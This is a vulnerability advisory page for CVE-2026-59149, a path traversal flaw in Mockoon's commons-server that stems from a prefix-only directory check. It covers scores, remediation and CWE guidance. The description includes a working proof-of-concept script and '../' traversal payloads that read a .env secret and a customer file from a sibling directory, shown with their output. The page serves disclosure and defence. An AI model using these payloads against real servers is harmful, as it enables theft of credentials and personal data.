VulnerabilityPublished 11 Sep 2026

CVE-2026-59149: @Mockoon/commons-server · Path traversal in templated `filePath` lets a request escape the served directory (prefix-only base check)

Affects @mockoon/commons-serverSource GCVE Database

Not known to be exploited · CVSS 6.5 Medium : upgrade to 9.7.0 when convenient.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

6.5Medium

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.4% chance of exploitation in 30 days – higher than 41% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 9.7.0

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: Required
Scope: Unchanged
Confidentiality: High
Integrity: None
Availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: Required: Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: High: There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: None: There is no impact to availability within the impacted component.

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 11 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade @mockoon/commons-server and @mockoon/cli to 9.7.0.

Affected software

Product	Affected	Fixed in
npm@mockoon/commons-server	Affected <9.7.0	Fixed in 9.7.0
npm@mockoon/cli	Affected <9.7.0	Fixed in 9.7.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

AI-suggested

A patch is available for this vulnerability. Users should upgrade @mockoon/commons-server to version 9.7.0 or later where the path traversal issue is fixed by properly validating file paths with path separator boundaries. Until patched, avoid using request-controlled data in filePath templates or implement additional path validation to prevent directory traversal.

Description

## Summary A `FILE` response whose `filePath` embeds request data (e.g. `"/srv/public/{{queryParam 'name'}}"`, the documented way to let the client pick a file) is confined by `getSafeFilePath` with `resolvedPath.startsWith(staticBaseDir)`. That prefix test has no path-separator boundary, so a `../`-escaped path whose absolute form string-prefixes the base directory passes. An unauthenticated client reads files from sibling paths outside the served directory. ## Details `packages/commons-server/src/libs/server/server.ts`, `getSafeFilePath` (line 2315). The static base is the text before the first `{{`, resolved to an absolute path; the parsed `filePath` is then bounded by a string-prefix check: ```ts const staticBaseDir = staticBaseMatch ? resolve(staticBaseMatch[1]) : null; // 2336 const parsedFilePath = TemplateParser({ ... request ... }); // request-controlled const resolvedPath = resolvePath(parsedFilePath); if (isPathAbsolute) { if (!staticBaseDir || !resolvedPath.startsWith(staticBaseDir)) { // 2355 throw new Error(`Access to absolute path outside of the original static base directory (${resolvedPath})`); } } else if (!resolvedPath.startsWith(this.options.environmentDirectory)) { // 2362 throw new Error(`Access to relative path outside of the environment base directory (${resolvedPath})`); } ``` With `"/srv/public/{{queryParam 'name'}}"`, `staticBaseDir = /srv/public`. A request `name=../public_backup/.env` resolves to `/srv/public_backup/.env`, and `"/srv/public_backup/.env".startsWith("/srv/public")` is `true` → served. Any sibling whose absolute path begins with the string `/srv/public` is reachable; the relative branch (`:2362`) is the same against `environmentDirectory`. A correct check appends `sep` to the base, or rejects when `relative(base, resolvedPath)` starts with `..`. `filePath` is request-controlled (`queryParam`/`urlParam`/header/body via `TemplateParser`) for every `FILE` response: HTTP `sendFile` (`:1762`), WebSocket (`:1145`), callbacks (`:1586`). ## PoC ```sh cat > /tmp/poc.sh <<'POC' set -e mkdir -p /work/public /work/public_backup && cd /work echo 'public landing page' > public/index.txt echo 'AWS_SECRET_ACCESS_KEY=redacted' > public_backup/.env echo 'Michael, michael@example.com, 555-22-7741' > public_backup/customers.csv cat > env.json <<'JSON' {"uuid":"00000000-0000-0000-0000-000000000001","lastMigration":33,"name":"f","port":3000,"hostname":"","folders":[], "routes":[{"uuid":"11111111-0000-0000-0000-000000000001","type":"http","documentation":"","method":"get","endpoint":"download", "responses":[{"uuid":"22222222-0000-0000-0000-000000000001","body":"","latency":0,"statusCode":200,"label":"","headers":[], "bodyType":"FILE","filePath":"/work/public/{{queryParam 'name'}}","sendFileAsBody":true,"rules":[],"rulesOperator":"OR", "disableTemplating":false,"fallbackTo404":false,"default":true,"crudKey":"id","callbacks":[]}], "responseMode":null,"streamingMode":null,"streamingInterval":0}], "rootChildren":[{"type":"route","uuid":"11111111-0000-0000-0000-000000000001"}], "proxyMode":false,"proxyHost":"","proxyRemovePrefix":false, "tlsOptions":{"enabled":false,"type":"CERT","pfxPath":"","certPath":"","keyPath":"","caPath":"","passphrase":""}, "cors":true,"headers":[],"proxyReqHeaders":[],"proxyResHeaders":[],"data":[]} JSON npm i -g @mockoon/cli@9.6.1 >/dev/null 2>&1 mockoon-cli start --data env.json --port 3000 >/tmp/srv.log 2>&1 & sleep 6 node -e ' const UA={headers:{"User-Agent":"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"}}; const g=async(q)=>{const r=await fetch("http://127.0.0.1:3000/download?name="+encodeURIComponent(q),UA);return (await r.text()).trim();}; (async()=>{ console.log("[*] intended file (public/index.txt) :",await g("index.txt")); console.log("[+] escape -> ../public_backup/.env :",await g("../public_backup/.env")); console.log("[+] escape -> ../public_backup/customers:",await g("../public_backup/customers.csv")); })();' POC docker run --rm -v /tmp/poc.sh:/poc.sh:ro node:20-bookworm-slim bash /poc.sh ``` Output: ```text [*] intended file (public/index.txt) : public landing page [+] escape -> ../public_backup/.env : AWS_SECRET_ACCESS_KEY=redacted [+] escape -> ../public_backup/customers: Michael, michael@example.com, 555-22-7741 ``` `../public_backup/.env` and `../public_backup/customers.csv` are served, outside `/work/public/`, because their absolute paths string-prefix `/work/public`

Impact

An unauthenticated attacker can read arbitrary files on the server outside the intended served directory, potentially exposing sensitive information. The vulnerability does not allow modification or deletion of files, only read access. The CVSS score is 6.5 (medium severity) with network attack vector, low attack complexity, no privileges required, user interaction required, and high confidentiality impact.

Summary

The vulnerability exists in the getSafeFilePath function of @mockoon/commons-server where the static base directory is checked using a string prefix match (resolvedPath.startsWith(staticBaseDir)) without ensuring a path separator boundary. This allows a crafted filePath containing '../' sequences to escape the intended directory and access files in sibling directories whose absolute paths start with the base directory string. The filePath is request-controlled via templating, affecting all FILE response types. The issue is confirmed in versions before 9.7.0. A proof-of-concept demonstrates reading sensitive files outside the served directory.

CWE-22Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #6OWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
Architecture and Design
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks…
Implementation · Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174).
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.1 (opens in a new tab)
Attack patterns
Path Traversal (opens in a new tab)
Using Slashes and URL Encoding Combined to Bypass Validation Logic (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
Using Escaped Slashes in Alternate Encoding (opens in a new tab)
Using Slashes in Alternate Encoding (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).
CWE-23Relative Path Traversal (opens in a new tab)
Base weaknessOWASP Top 10 A01:2025: Broken Access Control (opens in a new tab)
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize sequences such as ".." that can resolve to a location that is outside of that directory.
Implementation · Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
Implementation · Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174).
Operation · Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.
OWASP Cheat Sheets
Authorization (opens in a new tab)
OWASP ASVS 4.0.3
V12.3.1 (opens in a new tab)
Attack patterns
Relative Path Traversal (opens in a new tab)
Manipulating Web Input to File System Calls (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

References

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Exploitation evidence

What to do

Affected software

Description

AI analysisMachine-generated, updated 12 Sep 2026, 00:45 UTC

WeaknessesCWE-22, CWE-23

Technical details

References

Community reviews

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